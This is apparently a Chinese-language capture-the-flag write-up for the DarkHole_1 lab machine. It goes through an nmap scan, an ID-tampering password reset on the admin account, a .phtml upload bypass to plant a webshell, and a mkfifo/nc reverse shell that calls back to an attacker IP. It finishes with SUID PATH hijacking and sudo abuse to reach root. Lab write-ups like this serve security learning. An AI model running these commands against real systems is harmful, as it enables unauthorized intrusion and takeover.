DarkHole_1的拿flag思路 首先第一步是找到主页,第二步是通过login的垂直越权切换到admin,第三步通过admin里的文件上传拿到webshell,第四步通过webshell进行本机提权!
1.第一步:找到目标主机
首先ifconfig找到本机ip  通过kali自带nmap扫描到目标主机ip
nmap -A 192.168.204.0/24
 通过nmap扫描出来22和80端口,22端口可以尝试ssh爆破 先打开80端口看下网页
2.越权
  靶机提示不用采取爆破,所以先注册一个账号 经过尝试可以通过修改id,对admin账户进行密码修改  使用burp修改id值,达到修改admin账户密码,登录后发现有上传点 

3.文件上传
 尝试了.htaccess,双写,大小写,有些可以上传但是无法执行,后来通过改后缀为.phtml,成功绕过并执行   通过蚁剑连接用NC反弹shell  经测试不能用-e,采取别的方式 目标主机:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.204.131 7777 >/tmp/f

kali:
nc -lvvp 7777
 反弹成功  升级成交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

第四步:提权
通过find命令查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
 使用PATH 变量进行权限提升,拿到john权限
echo $PATH
echo "/bin/bash" >/tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
echo $PATH
./toto
whoami
 通过ls -l ,查看user拿到第一个flag,查看password拿到密码
 通过sudo -l,看到提升root的提示  通过在file.py中添加命令获得root 权限
import os;
os.system('chmod +s /bin/bash');
bash -p
 到root目录下找到第二个flag 
总结:
这个靶机主要是考察了三个点,越权,文件上传,PATH提权
|